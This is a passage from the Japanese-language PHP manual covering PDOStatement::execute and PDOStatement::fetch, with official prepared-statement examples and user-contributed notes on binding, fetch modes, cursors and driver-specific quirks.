例3 入力値の配列を伴うプリペアドステートメントの実行 (プレースホルダ)

<?php
/* 入力値の配列を伴うプリペアドステートメントの実行 */
$calories = 150;
$colour = 'red';
$sth = $dbh->prepare('SELECT name, colour, calories
    FROM fruit
    WHERE calories < ? AND colour = ?');
$sth->execute(array($calories, $colour));
?>

例4 疑問符プレースホルダを伴うプリペアドステートメントの実行

<?php
/* バインド変数を伴うプリペアドステートメントの実行 */
$calories = 150;
$colour = 'red';
$sth = $dbh->prepare('SELECT name, colour, calories
    FROM fruit
    WHERE calories < ? AND colour = ?');
$sth->bindParam(1, $calories, PDO::PARAM_INT);
$sth->bindParam(2, $colour, PDO::PARAM_STR, 12);
$sth->execute();
?>

例5 IN 句で配列を使うプリペアドステートメントの実行

<?php
/* IN 句で配列を使うプリペアドステートメントの実行 */
$params = array(1, 21, 63, 171);
/* パラメータのプレースホルダ用の文字列を、パラメータ数に合わせて作ります */
$place_holders = implode(',', array_fill(0, count($params), '?'));

/*
    これは、配列 $params のすべての値のための名前なしプレースホルダを含む
    ステートメントを準備します。配列 $params の値をそこにバインドし、それから
    ステートメントを実行します。これは PDOStatement::bindParam() を使うのとは
    違います。こちらの場合は変数への参照が必要になるからです。
    PDOStatement::execute() は、単に値だけをバインドします。
*/
$sth = $dbh->prepare("SELECT id, name FROM contacts WHERE id IN ($place_holders)");
$sth->execute($params);
?>

注意

注意:

ドライバによっては、次のステートメントを実行する前に カーソルを閉じ なければならないものもあります。

参考

  • PDO::prepare() - 文を実行する準備を行い、文オブジェクトを返す
  • PDOStatement::bindParam() - 指定された変数名にパラメータをバインドする
  • PDOStatement::fetch() - 結果セットから次の行を取得する
  • PDOStatement::fetchAll() - 全ての結果行を含む配列を返す
  • PDOStatement::fetchColumn() - 結果セットの次行から単一カラムを返す

User Contributed Notes

davidhcefx 11-Dec-2020 05:06
As already pointed out by some folks, DON'T PASS ARRAYS KEYED WITH NAMES TO QUESTION MARK PARAMETERS!

<?php
$sth = $dbh->prepare('INSERT INTO fruit (name, colour, colories) VALUES (?, ?, ?)');

// This is wrong!
// $param = array("name" => "apple", "colour" => "red", "colories" => 150);

// Array must be keyed with integers starting from zero
$param = array("apple", "red", 150);
$sth->execute($param);
valterekholm at hotmail.com 23-May-2020 11:25
I'm using the question-mark way when binding. I tried to use an an associative array when doing

 $stmt->execute($values);

having column-names as keys. I thought this would make it easier when rendering the query (as I had variable amounts of parameters).

I found that the execute then could not work with associative array, only with numeric array (with numeric indexes).
dg_waves 04-Nov-2017 06:12
Note the return values for this method.
[bool]  => true or false

So when i check several queries like INSERT, UPDATE,  REPLACE AND DELETE, i got accurate results =>  bool(true) i.e. The query executed successfully.

$query = "SELECT session_data" FROM  sessions WHERE session_id = ?";

$stmt = $pdo->prepare($query);
$stmt->bindValue(1, 'login_user_5121');

if($stmt->execute()) {
    print 'Query executed successfully';
}

//Output
Query executed successfully

So, i think u might not have to use { $stmt->rowCount() } method to know whether the query executed successfully.
But on every community i haven't seen anyone point out, so i might be wrong here but u should give it a try with several queries.
Ihor Ivanov 27-Apr-2017 04:51
If one parameter name is missing or misspelled, this function throws an error of level E_WARNING, even when PDO::ATTR_ERRMODE is set to PDO::ERRMODE_SILENT!
In the same situation, but when PDO::ERRMODE_WARNING is set, this function throws TWO errors of level E_WARNING!

This function does not throw any error when PDO::ERRMODE_EXCEPTION is set, instead, it throws a PDOException.

All this applies even when you use PDOStatement::bindParam() function with misspelled parameter name and than use PDOStatement::execute();

Tested on: Windows 10, PHP 5.5.35, mysqlnd 5.0.11, MySQL 5.6.30.

<?php
$dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_SILENT);

$colour = 'red';
$sth = $dbh->prepare('SELECT name, colour, calories
    FROM fruit
    WHERE colour = :colour');

/*
    Notice the parameter name ':color' instead of ':colour'.

    When PDO::ERRMODE_SILENT is set, this function throws the error:
    Warning: PDOStatement::execute(): SQLSTATE[HY093]: Invalid parameter number: parameter was not defined in...

    When PDO::ERRMODE_WARNING is set, this function throws this two errors:
    Warning: PDOStatement::execute(): SQLSTATE[HY093]: Invalid parameter number: parameter was not defined in...
    Warning: PDOStatement::execute(): SQLSTATE[HY093]: Invalid parameter number in...
*/
$sth->execute(array(':color' => $colour));
?>
mail at tinodidriksen dot com 15-Aug-2016 08:43
The example shows this to generate the needed number of question marks, which is amazingly wasteful:
$place_holders = implode(',', array_fill(0, count($params), '?'));

Instead, just do:
$place_holders = '?'.str_repeat(',?', count($params)-1);
Ray.Paseur sometimes uses Gmail 23-Jan-2016 07:19
"You cannot bind more values than specified; if more keys exist in input_parameters than in the SQL specified in the PDO::prepare(), then the statement will fail and an error is emitted."  However fewer keys may not cause an error.

As long as the number of question marks in the query string variable matches the number of elements in the input_parameters, the query will be attempted.

This happens even if there is extraneous information after the end of the query string.  The semicolon indicates the end of the query string; the rest of the variable is treated as a comment by the SQL engine, but counted as part of the input_parameters by PHP.

Have a look at these two query strings.  The only difference is a typo in the second string, where a semicolon accidentally replaces a comma.  This UPDATE query will run, will be applied to all rows, and will silently damage the table.

<?php
/**
 * Query is intended to UPDATE a subset of the rows based on the WHERE clause
 */
$sql  = "UPDATE my_table SET fname = ?, lname = ? WHERE id = ?";

/**
 * Query UPDATEs all rows, ignoring everything after the semi-colon, including the WHERE clause!
 *
 * Expected (but not received):
 *
 *** Warning:
 *** PDOStatement::execute():
 *** SQLSTATE[HY093]:
 *** Invalid parameter number: number of bound variables does not match number of tokens...
 *
 */
// Typo here ------------------------ |
//                                    V
$sql  = "UPDATE my_table SET fname = ?; lname = ? WHERE id = ?"; // One token in effect
$pdos = $pdo->prepare($sql);
$pdos->execute( [ 'foo', 'bar', 3 ] );                           // Three input_parameters
?>

PHP 5.4.45, mysqlnd 5.0.10
pere dot pasqual at gmail dot com 11-Jun-2015 03:02
It's been 7 years since simon dot lehmann at gmx dot comment, but today I found myself having problems with a prepared statement involving an INSERT, PDO odbc driver for Microsoft Access and PHP 5.4.7. The prepared statement was done using the prepare + execute method, throwing an ugly
"SQLExecDirect[-3500] at ext\\pdo_odbc\\odbc_driver.c:247" error
and a
42000 ("Syntax error or access violation") SQLSTATE.

He suspects what the problem is and points to a possible solution: using bindParam() or bindValue() and specify a data type.

Well, that seems to be right identifying the source of the problem, but there is a simpler solution that worked for me, simpler and that allows you to continue using pdo::prepare() with ? as parameters and pdo::execute():
the only thing you have to do is, if not done before, a cast of the binded parameters to its specific type (the type that the database is expecting) before putting them in the array you pass to pdo::execute($array).

The following code fails, throwing the error above:

<?php
$name = "John";
$length = "1";
$price = "1.78";
$SQL = "INSERT INTO table (name, length, price) VALUES (?,?,?)";
$arra = array($name, $length, $price);
$sth = $msq->prepare($SQL);
$sth->execute($arra);
?>

This one works for me like a charm:

<?php
$name = "John";
$length = (int)"1"; // the database is expecting this type
$price = (float)"1.78"; // the database is expecting this type
$SQL = "INSERT INTO table (name, length, price) VALUES (?,?,?)";
$arra = array($name, $length, $price);
$sth = $msq->prepare($SQL);
$sth->execute($arra);
?>
takingsides at gmail dot com 05-Dec-2014 11:10
Debugging prepared statements can be a pain sometimes when you need to copy a query and run it in the DB directly.  The function below is an example of how to compile your own query (of course it would need some tweaking and may not work in all scenarios).

<?php

$sql = "
    SELECT t1.*
    FROM table1 AS t1
    INNER JOIN table2 AS t2 ON (
        t2.code = t1.code
        AND t1.field1 = ?
        AND t1.field2 = ?
        AND t1.field3 = ?
    )
";

$stmt = $pdo->prepare($sql);
$params = [ 'A', 'B', 'C' ];
$stmt->execute($params);

// Output the compiled query
debug($sql, $params);

function debug($statement, array $params = [])
{
    $statement = preg_replace_callback(
        '/[?]/',
        function ($k) use ($params) {
            static $i = 0;
            return sprintf("'%s'", $params[$i++]);
        },
        $statement
    );

    echo '<pre>Query Debug:<br>', $statement, '</pre>';
}
?>

This would output something like:

SELECT t1.*
FROM table1 AS t1
INNER JOIN table2 AS t2 ON (
    t2.part_code = t1.code
    AND t1.field1 = 'A'
    AND t1.field2 = 'B'
    AND t1.field3 = 'C'
)
Whitebeard 01-Apr-2014 07:27
If you are having issues passing boolean values to be bound and are using a Postgres database... but you do not want to use bindParam for *every* *single* *parameter*, try passing the strings 't' or 'f' instead of boolean TRUE or FALSE.
Rami jamleh 02-Apr-2013 11:09
simplified $placeholder form

<?php

$data = ['a'=>'foo','b'=>'bar'];

$keys = array_keys($data);
$fields = '`'.implode('`, `',$keys).'`';

#here is my way
$placeholder = substr(str_repeat('?,',count($keys)),0,-1);

$pdo->prepare("INSERT INTO `baz`($fields) VALUES($placeholder)")->execute(array_values($data));
anon at anon dot com 15-Jun-2012 09:10
If your MySQL table has 500,000+ rows and your script is failing because you have hit PHP's memory limit, set the following attribute.

<?php $this->pdo->setAttribute(PDO::MYSQL_ATTR_USE_BUFFERED_QUERY, false); ?>

This should make the error go away again and return memory usage back to normal.
mail at horn-online-media dot de 14-Jun-2012 10:32
hi,

just a qick note to get started without problems when using quotation: PDO does NOT replace given variables if they are wrapped in quotationmarks, e.g.

<?php

$st = $db->prepare( '
    INSERT INTO fruits( name, colour )
    VALUES( :name, ":colour" )
';
$st->execute( array( ':name' => 'Apple', ':colour' => 'red' ) );

?>

results in in a new fruit like

 -> Apple, :colour

without the colour beeing replaced by "red". so leave variables WITHOUT the quotation - PDO will do.
nils andre with my googelian maily accou 27-Apr-2012 02:25
I realized that I ran into serious trouble when debugging my PHP scripts from the command line, and despite of going to fetchAll and so, I always got the error

SQLSTATE[HY000]: General error: 2014 Cannot execute queries while other unbuffered queries are active.

I realized that I had a double init command:

PDO::MYSQL_ATTR_INIT_COMMAND => "SET NAMES utf8; SET CHARACTER SET utf8;"

The first one is the better choice and removing the latter, the error is gone.
T-Rex 11-Apr-2012 03:44
When you try to make a query with a date, then take the whole date and not just a number.

This Query will work fine, if you try it like this:
SELECT * FROM table WHERE date = 0

But if you try it with prepared you have to take the whole date format.
<?php
$sth = $dbh->prepare('SELECT * FROM table WHERE date = :date');
$sth->execute( $arArray );

//--- Wrong:
$arArray = array(":date",0);

//--- Right:
$arArray = array(":date","0000-00-00 00:00:00");
?>

There must be something with the mysql driver.

best regards
T-Rex
richard at securebucket dot com 25-Nov-2011 01:16
Note:  Parameters don't work with a dash in the name like ":asd-asd" you can do a quick str_replace("-","_",$parameter) to fix the issue.
ElTorqiro 05-Apr-2011 02:51
When using a prepared statement to execute multiple inserts (such as in a loop etc), under sqlite the performance is dramatically improved by wrapping the loop in a transaction.

I have an application that routinely inserts 30-50,000 records at a time.  Without the transaction it was taking over 150 seconds, and with it only 3.

This may affect other implementations as well, and I am sure it is something that affects all databases to some extent, but I can only test with PDO sqlite.

e.g.

<?php
$data = array(
  array('name' => 'John', 'age' => '25'),
  array('name' => 'Wendy', 'age' => '32')
);

try {
  $pdo = new PDO('sqlite:myfile.sqlite');
}

catch(PDOException $e) {
  die('Unable to open database connection');
}

$insertStatement = $pdo->prepare('insert into mytable (name, age) values (:name, :age)');

// start transaction
$pdo->beginTransaction();

foreach($data as &$row) {
  $insertStatement->execute($row);
}

// end transaction
$pdo->commit();

?>

[EDITED BY sobak: typofixes by Pere submitted on 12-Sep-2014 01:07]
Robin Millette 10-Jan-2011 06:30
If you're going to derive PDOStatement to extend the execute() method, you must define the signature with a default NULL argument, not an empty array.

In otherwords:
<?php
class MyPDOStatement extends PDOStatement {
  // ...

  // don't use this form!
  // function execute($input_parameters = array()) {
  // use this instead:
  function execute($input_parameters = null) {
      // ...
      return parent::execute($input_parameters);
  }
}

?>

As a sidenote, that's why I always set default parameter to NULL and take care of handling the actual correct default parameters in the body of the method or function. Thus, when you have to call the function with all the parameters, you know to always pass NULL for defaults.
Tony Casparro 08-Jul-2010 10:09
We know that you can't see the final raw SQL before its parsed by the DB, but if you want to simulate the final result, this may help.

<?php
public function showQuery($query, $params)
    {
        $keys = array();
        $values = array();

        # build a regular expression for each parameter
        foreach ($params as $key=>$value)
        {
            if (is_string($key))
            {
                $keys[] = '/:'.$key.'/';
            }
            else
            {
                $keys[] = '/[?]/';
            }

            if(is_numeric($value))
            {
                $values[] = intval($value);
            }
            else
            {
                $values[] = '"'.$value .'"';
            }
        }

        $query = preg_replace($keys, $values, $query, 1, $count);
        return $query;
    }
?>
gx 24-Apr-2010 10:05
Note that you must
- EITHER pass all values to bind in an array to PDOStatement::execute()
- OR bind every value before with PDOStatement::bindValue(), then call PDOStatement::execute() with *no* parameter (not even "array()"!).
Passing an array (empty or not) to execute() will "erase" and replace any previous bindings (and can lead to, e.g. with MySQL, "SQLSTATE[HY000]: General error: 2031" (CR_PARAMS_NOT_BOUND) if you passed an empty array).

Thus the following function is incorrect in case the prepared statement has been "bound" before:

<?php
function customExecute(PDOStatement &$sth, $params = NULL) {
    return $sth->execute($params);
}
?>

and should therefore be replaced by something like:

<?php
function customExecute(PDOStatement &$sth, array $params = array()) {
    if (empty($params))
        return $sth->execute();
    return $sth->execute($params);
}
?>

Also note that PDOStatement::execute() doesn't require $input_parameters to be an array.

(of course, do not use it as is ^^).
Ant P. 08-Aug-2008 10:33
As of 5.2.6 you still can't use this function's $input_parameters to pass a boolean to PostgreSQL. To do that, you'll have to call bindParam() with explicit types for each parameter in the query.
Jean-Lou dot Dupont at jldupont dot com 09-Mar-2008 10:38
Hopefully this saves time for folks: one should use $count = $stmt->rowCount() after $stmt->execute() in order to really determine if any an operation such as ' update ' or ' replace ' did succeed i.e. changed some data.

Jean-Lou Dupont.
albright atat anre dotdot net 18-Jan-2008 08:33
When passing an array of values to execute when your query contains question marks, note that the array must be keyed numerically from zero. If it is not, run array_values() on it to force the array to be re-keyed.

<?php
$anarray = array(42 => "foo", 101 => "bar");
$statement = $dbo->prepare("SELECT * FROM table WHERE col1 = ? AND col2 = ?");

//This will not work
$statement->execute($anarray);

//Do this to make it work
$statement->execute(array_values($anarray));
?>
Daniel 30-Aug-2007 05:20
You could also use switch the order of t1 and t2 to get user_id from t1 (tested on postgresql):

SELECT
   t2.*,
   t1.user_id, t1.user_name
FROM table1 t1
LEFT JOIN table2 t2 ON t2.user_id = t1.user_id
WHERE t1.user_id = 2
simon dot lehmann at gmx dot de 08-Aug-2007 03:17
It seems, that the quoting behaviour has changed somehow between versions, as my current project was running fine on one setup, but throwing errors on another (both setups are very similar).

Setup 1: Ubuntu 6.10, PHP 5.1.6, MySQL 5.0.24a
Setup 2: Ubuntu 7.04, PHP 5.2.1, MySQL 5.0.38

The code fragment which caused problems (shortened):
<?php
$stmt = $pdo->prepare("SELECT col1, col2, col3 FROM tablename WHERE col4=? LIMIT ?");
$stmt->execute(array('Foo', 1));
?>

On the first Setup this executes without any problems, on the second setup it generates an Error:

SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' at line 1

The problem is, that $stmt->execute() quotes the number passed to the second placeholder (resulting in: ... LIMIT '1'), which is not allowed in MySQL (tested on both setups).

To prevent this, you have to use bindParam() or bindValue() and specify a data type.
narcis at narcisradu dot com 08-Jan-2007 01:16
For a query like this:

SELECT
   t1.user_id, t1.user_name,
   t2.*
FROM table1 t1
LEFT JOIN table2 t2 ON t2.user_id = t1.user_id
WHERE t1.user_id = 2

If I don't have an entry in table2 for user_id=2, the user_id in  result will be empty.

SELECT
   t1.user_id, t1.user_name,
   t2.user_pet, t2.user_color, t2.user_sign
FROM table1 t1
LEFT JOIN table2 t2 ON t2.user_id = t1.user_id
WHERE t1.user_id = 2

This query will return nonempty user_id.

So please be careful with wildcard select.
VolGas 22-Dec-2006 10:38
An array of insert values (named parameters) don't need the prefixed colon als key-value to work.

<?php
/* Execute a prepared statement by passing an array of insert values */
$calories = 150;
$colour = 'red';
$sth = $dbh->prepare('SELECT name, colour, calories
   FROM fruit
   WHERE calories < :calories AND colour = :colour');
// instead of:
//     $sth->execute(array(':calories' => $calories, ':colour' => $colour));
// this works fine, too:
$sth->execute(array('calories' => $calories, 'colour' => $colour));
?>

This allows to use "regular" assembled hash-tables (arrays).
That realy does make sense!
dbrucas 21-Nov-2006 10:54
If you don't want to turn on exception raising, then try this:

    //$dbErr = $dbHandler->errorInfo(); OR
    $dbErr = $dbStatement->errorInfo();
    if ( $dbErr[0] != '00000' ) {
        print_r($dbHandler->errorInfo());
        die( "<div class='redbg xlarge'>FAILED:  $msg</div><br />".$foot);
    // or handle the error your way...
            }
    echo "SUCCESS:  $msg<br />";
... continue if succesful
russel at sunraystudios dot com 15-Oct-2006 02:42
I've used it and it returns booleans=>
$passed = $stmt->execute();
if($passed){
echo "passed";
} else {
echo "failed";
}

If the statement failed it would print failed.  You would want to use errorInfo() to get more info, but it does seem to work for me.


結果セットから次の行を取得する

  • ≪ PDOStatement::execute
  • PDOStatement::fetchAll ≫
  • PHP Manual
  • PDOStatement
  • 結果セットから次の行を取得する

PDOStatement::fetch

(PHP 5 >= 5.1.0, PHP 7, PECL pdo >= 0.1.0)

PDOStatement::fetch — 結果セットから次の行を取得する

説明

public PDOStatement::fetch ( int $fetch_style = ? , int $cursor_orientation = PDO::FETCH_ORI_NEXT , int $cursor_offset = 0 ) : mixed

PDOStatementオブジェクトに関連付けられた結果セットから1行取得します。 fetch_style パラメータは、PDO がその行をどの様に返すかを決定します。

パラメータ

fetch_style

次のレコードを呼び出し元に返す方法を制御します。
この値は、PDO::FETCH_* 定数のどれかで、
デフォルトは PDO::ATTR_DEFAULT_FETCH_MODE の値
(そのデフォルトは PDO::FETCH_BOTH) です。

  • PDO::FETCH_ASSOC: は、結果セットに 返された際のカラム名で添字を付けた配列を返します。

  • PDO::FETCH_BOTH (デフォルト): 結果セットに返された際のカラム名と 0 で始まるカラム番号で添字を付けた配列を返します。

  • PDO::FETCH_BOUND: true を返し、結果セットのカラムの値を PDOStatement::bindColumn() メソッドでバインドされた PHP 変数に代入します。

  • PDO::FETCH_CLASS: 結果セットのカラムがクラス内の名前付けされたプロパティに マッピングされている、要求されたクラスの新規インスタンスを返します。 PDO::FETCH_PROPS_LATE を指定していない限りは、 カラムをマッピングしてからクラスのコンストラクタを呼び出します。 fetch_style に PDO::FETCH_CLASSTYPE が 含まれている場合 (例: PDO::FETCH_CLASS | PDO::FETCH_CLASSTYPE) は、最初のカラムの値から クラス名を決定します。

  • PDO::FETCH_INTO: 結果セットのカラムがクラス内の名前付けされたプロパティに マッピングされている要求された既存インスタンスを更新します。

  • PDO::FETCH_LAZY: PDO::FETCH_BOTH とPDO::FETCH_OBJの 組合せで、オブジェクト変数名を作成します。

  • PDO::FETCH_NAMED: PDO::FETCH_ASSOC と同じ形式の配列を返します。 ただし、同じ名前のカラムが複数あった場合は、そのキーが指す値は、 同じ名前のカラムのすべての値を含む配列になります。

  • PDO::FETCH_NUM: 結果セットに返された際の 0 から始まるカラム番号を添字とする配列を返します。

  • PDO::FETCH_OBJ: 結果セットに返された際のカラム名と同名のプロパティを有する 匿名のオブジェクトを返します。

  • PDO::FETCH_PROPS_LATE: PDO::FETCH_CLASS とともに使用すると、 まずクラスのコンストラクタを呼び出してから、カラムの値をプロパティに代入します。

cursor_orientation

スクロール可能なカーソルを表す PDOStatement オブジェクトの場合、 この値により呼び出し側に返される行を定義します。 この値は、PDO::FETCH_ORI_* 定数のどれかと する必要があり、 PDO::FETCH_ORI_NEXT がデフォルトとなっています。 PDOStatement に対してスクロール可能なカーソルを要求するためには、 PDO::prepare() を用いて SQL ステートメントを 準備する際、 PDO::CURSOR_SCROLL に PDO::ATTR_CURSOR 属性を設定する必要があります。

offset

スクロール可能なカーソルを表すPDOStatementオブジェクトの場合で、 cursor_orientationパラメータが PDO::FETCH_ORI_ABSに設定された場合、この値により 取得される結果セットの行の絶対位置が指定されます。

スクロール可能なカーソルを表すPDOStatementオブジェクトの場合で、 cursor_orientationパラメータが PDO::FETCH_ORI_RELに設定された場合、この値は、 PDOStatement::fetch() がコールされる前のカーソルの 位置を基準として取得する行の位置を指定します。

返り値

この関数が成功した場合の返り値は、取得形式によって異なります。 失敗した場合は常に false を返します。

例

例1 異なる取得方法で行を取得する

<?php
$sth = $dbh->prepare("SELECT name, colour FROM fruit");
$sth->execute();

/* Exercise PDOStatement::fetch styles */
print("PDO::FETCH_ASSOC: ");
print("Return next row as an array indexed by column name\n");
$result = $sth->fetch(PDO::FETCH_ASSOC);
print_r($result);
print("\n");

print("PDO::FETCH_BOTH: ");
print("Return next row as an array indexed by both column name and number\n");
$result = $sth->fetch(PDO::FETCH_BOTH);
print_r($result);
print("\n");

print("PDO::FETCH_LAZY: ");
print("Return next row as an anonymous object with column names as properties\n");
$result = $sth->fetch(PDO::FETCH_LAZY);
print $result->name;
print("\n");

print("PDO::FETCH_OBJ: ");
print("Return next row as an anonymous object with column names as properties\n");
$result = $sth->fetch(PDO::FETCH_OBJ);
print $result->NAME;
print("\n");
?>

上の例の出力は以下となります。

PDO::FETCH_ASSOC: Return next row as an array indexed by column name
Array
(
    [name] => apple
    [colour] => red
)

PDO::FETCH_BOTH: Return next row as an array indexed by both column name and number
Array
(
    [name] => banana
    [0] => banana
    [colour] => yellow
    [1] => yellow
)

PDO::FETCH_LAZY: Return next row as an anonymous object with column names as properties
PDORow Object
(
    [name] => orange
    [colour] => orange
)

PDO::FETCH_OBJ: Return next row as an anonymous object with column names as properties
kiwi

例2 スクロール可能なカーソルで行を取得する

<?php
function readDataForwards($dbh) {
    $sql = 'SELECT hand, won, bet FROM mynumbers ORDER BY BET';
    $stmt = $dbh->prepare($sql, array(PDO::ATTR_CURSOR => PDO::CURSOR_SCROLL));
    $stmt->execute();
    while ($row = $stmt->fetch(PDO::FETCH_NUM, PDO::FETCH_ORI_NEXT)) {
        $data = $row[0] . "\t" . $row[1] . "\t" . $row[2] . "\n";
        print $data;
    }
}
function readDataBackwards($dbh) {
    $sql = 'SELECT hand, won, bet FROM mynumbers ORDER BY bet';
    $stmt = $dbh->prepare($sql, array(PDO::ATTR_CURSOR => PDO::CURSOR_SCROLL));
    $stmt->execute();
    $row = $stmt->fetch(PDO::FETCH_NUM, PDO::FETCH_ORI_LAST);
    do {
        $data = $row[0] . "\t" . $row[1] . "\t" . $row[2] . "\n";
        print $data;
    } while ($row = $stmt->fetch(PDO::FETCH_NUM, PDO::FETCH_ORI_PRIOR));
}

print "Reading forwards:\n";
readDataForwards($conn);

print "Reading backwards:\n";
readDataBackwards($conn);
?>

上の例の出力は以下となります。

Reading forwards:
21    10    5
16    0     5
19    20    10

Reading backwards:
19    20    10
16    0     5
21    10    5

例3 構築の順序

PDO::FETCH_CLASS でオブジェクトを取得するときには、 まずオブジェクトのプロパティへの代入を終えてから、そのクラスのコンストラクタを実行します。 PDO::FETCH_PROPS_LATE を指定した場合はこの順序が逆転します。 つまり、まずコンストラクタを呼び出してから、プロパティへの代入を行います。

<?php
class Person
{
    private $name;

    public function __construct()
    {
        $this->tell();
    }

    public function tell()
    {
        if (isset($this->name)) {
            echo "I am {$this->name}.\n";
        } else {
            echo "I don't have a name yet.\n";
        }
    }
}

$sth = $dbh->query("SELECT * FROM people");
$sth->setFetchMode(PDO::FETCH_CLASS, 'Person');
$person = $sth->fetch();
$person->tell();
$sth->setFetchMode(PDO::FETCH_CLASS|PDO::FETCH_PROPS_LATE, 'Person');
$person = $sth->fetch();
$person->tell();
?>

上の例の出力は、 たとえば以下のようになります。

I am Alice.
I am Alice.
I don't have a name yet.
I am Bob.

参考

  • PDO::prepare() - 文を実行する準備を行い、文オブジェクトを返す
  • PDOStatement::execute() - プリペアドステートメントを実行する
  • PDOStatement::fetchAll() - 全ての結果行を含む配列を返す
  • PDOStatement::fetchColumn() - 結果セットの次行から単一カラムを返す
  • PDOStatement::fetchObject() - 次の行を取得し、それをオブジェクトとして返す
  • PDOStatement::setFetchMode() - この文に対するデフォルトのフェッチモードを設定する

User Contributed Notes

paulf at quillandmouse dot com 05-Mar-2020 02:12
A prior poster indicated that this function returns a NULL when there are no results. This is not true. This function returns an empty array. fetchAll() returns the same.

Also, the documentation specifies what happens on "failure", but doesn't indicate what constitutes a "failure". A "failure" could be where the function returns no results; that is, the query "failed". However, a "failure" is apparently a situation where the PDO error functions would reveal a "failure", as in illegal SQL syntax, or a query on a table which doesn't exist, etc. An empty result is not a "failure". Maybe that's obvious to everyone else, but it wasn't to me.
Drew 23-Jan-2020 02:42
When using a PDOStatement with the fetch mode set to FETCH_CLASS, fetch will return false if no rows were found.
Black Knight 11-Apr-2016 02:16
this is just On reminder note about Second parameter -cursor_oriantation-

PDO::FETCH_ORI_NEXT :-
Fetch the next row in the result set. Valid only for scrollable cursors.

PDO::FETCH_ORI_PRIOR :-
Fetch the previous row in the result set. Valid only for scrollable cursors.

PDO::FETCH_ORI_FIRST :-
Fetch the first row in the result set. Valid only for scrollable cursors.

PDO::FETCH_ORI_LAST :-
Fetch the last row in the result set. Valid only for scrollable cursors.

PDO::FETCH_ORI_ABS :-
Fetch the requested row by row number from the result set. Valid only for scrollable cursors.

PDO::FETCH_ORI_REL :-
Fetch the requested row by relative position from the current position of the cursor in the result set. Valid only for scrollable cursors.
tim at kooky dot org 31-Mar-2016 12:21
Be careful when using PDO::FETCH_LAZY.  It adds an additional field called queryString.  I'm not sure if this a bug or not. I'm using version 5.6.17 in Debian Jessie.

Query:  'select 1,2,3'

$row=$smt->fetch(PDO::FETCH_OBJ);
var_dump($row);

object(stdClass)#6 (3) {
  ["1"]=>
  string(1) "1"
  ["2"]=>
  string(1) "2"
  ["3"]=>
  string(1) "3"
}

$row=$smt->fetch(PDO::FETCH_LAZY);
var_dump($row);

object(PDORow)#3 (4) {
  ["queryString"]=>
  string(12) "select 1,2,3"
  ["1"]=>
  string(1) "1"
  ["2"]=>
  string(1) "2"
  ["3"]=>
  string(1) "3"
}
tastro 19-Sep-2014 12:41
Note that this way, the "fetch mode" will get "overwritten", and PDO::FETCH_PROPS_LATE won't be applied:

<?php
$sth = $db->prepare("SELECT * FROM user WHERE id = 1");
$sth->setFetchMode( PDO::FETCH_CLASS|PDO::FETCH_PROPS_LATE, 'user');
$sth->execute();
$user = $sth->fetch( PDO::FETCH_CLASS );
$sth->closeCursor();
?>

Instead, you should leave the parameter area for the fetch() method empty, like this (if you want to set the fetch mode with the setFetchMode() method):

<?php
$sth = $db->prepare("SELECT * FROM user WHERE id = 1");
$sth->setFetchMode( PDO::FETCH_CLASS|PDO::FETCH_PROPS_LATE, 'user');
$sth->execute();
$user = $sth->fetch();
$sth->closeCursor();
?>
lenz_kappov at yahoo dot co dot uk 23-Feb-2014 10:30
Because MySQL does not currently support the use of cursors, the $cursor_offset feature cannot work when using PDO to access a MySQL database.

If you are tring to arbitrarily access a specific record or group of records in a MySQL database recordset, you might want to consider using the LIMIT clause of the SELECT statement to achieve this e.g. LIMIT 5,3 to return just the 6th,7th & 8th records - 3 records starting at index 5 (which is the 6th record).
yarco dot wang at gmail dot com 07-Dec-2013 11:30
If no record, this function will also return false.
I think that is not very good...
sumariva at gmail dot com 29-May-2013 06:02
I got problems during fetch of stored procedures with mssql following PDOException:

SQLSTATE[IMSSP]: The active result for the query contains no fields

with a a prepared statement like:
 EXEC [mydb].[stored_procedure_that_returns_select] ?;

The solution was to supress the count of records
SET NOCOUNT ON; EXEC [mydb].[stored_procedure_that_returns_select] ?;

Hope it helps!
gergo at gergoerdosi dot com 11-Feb-2013 04:07
When using PDO::FETCH_COLUMN in a while loop, it's not enough to just use the value in the while statement as many examples show:

<?php
while ($row = $stmt->fetch(PDO::FETCH_COLUMN)) {
    print $row;
}
?>

If there are 5 rows with values 1 2 0 4 5, then the while loop above will stop at the third row printing only 1 2. The solution is to either explicitly test for false:

<?php
while (($row = $stmt->fetch(PDO::FETCH_COLUMN)) !== false) {
    print $row;
}
?>

Or use foreach with fetchAll():

<?php
foreach ($stmt->fetchAll(PDO::FETCH_COLUMN) as $row) {
    print $row;
}
?>

Both will correctly print 1 2 0 4 5.
sumariva at gmail dot com 04-Jul-2012 04:17
I could use PDO::FETCH_COLUMN to retrieve the first column from result.
$ps->fetch( PDO::FETCH_COLUMN );
Worked on Postgresql with PHP 5.3.10.
Alex 07-Sep-2011 02:32
It seems that if you do a $statement->query() with an INSERT statement and after that a $statement->fetch() you will get an exception saying: SQLSTATE[HY000]: General error.
henry at henrysmith dot org 06-Aug-2011 09:24
Someone's already pointed out that PDO::CURSOR_SCROLL isn't supported by the SQLite driver. It's also worth noting that it's not supported by the MySQL driver either.

In fact, if you try to use scrollable cursors with a MySQL statement, the PDO::FETCH_ORI_ABS parameter and the offset given to fetch() will be silently ignored. fetch() will behave as normal, returning rows in the order in which they came out of the database.

It's actually pretty confusing behaviour at first. Definitely worth documenting even if only as a user-added note on this page.
Ome Ko 20-Jun-2011 04:46
Don't do
if($objStatement->fetch()) return $objStatement->fetch();

You want
if($blah=$objStatement->fetch()) return $blah;

Trust me on this one.
public at grik dot net 24-Nov-2010 03:10
When fetching an object, the constructor of the class is called after the fields are populated by default.

PDO::FETCH_PROPS_LATE is used to change the behaviour and make it work as expected - constructor be called _before_ the object fields will be populated with the data.

sample:

<?php
$a = $PDO->query('select id from table');
$a->setFetchMode(PDO::FETCH_CLASS|PDO::FETCH_PROPS_LATE, 'ClassName');
$obj = $a->fetch();
?>

http://bugs.php.net/bug.php?id=53394
Typer85 at gmail dot com 01-Feb-2010 03:03
Here is quick note for developers that use the PDO SQLite Driver:

The PDO SQLite driver does not support cursors, so using the PDO::CURSOR_SCROLL Attribute, will not work when using the PDO SQLite driver. For example:

<?php

// Assuming $Handle Is a PDO Handle.
$Statement = $Handle->query( $sqlStatement , array( PDO::ATTR_CURSOR => PDO::CURSOR_SCROLL ) );

?>

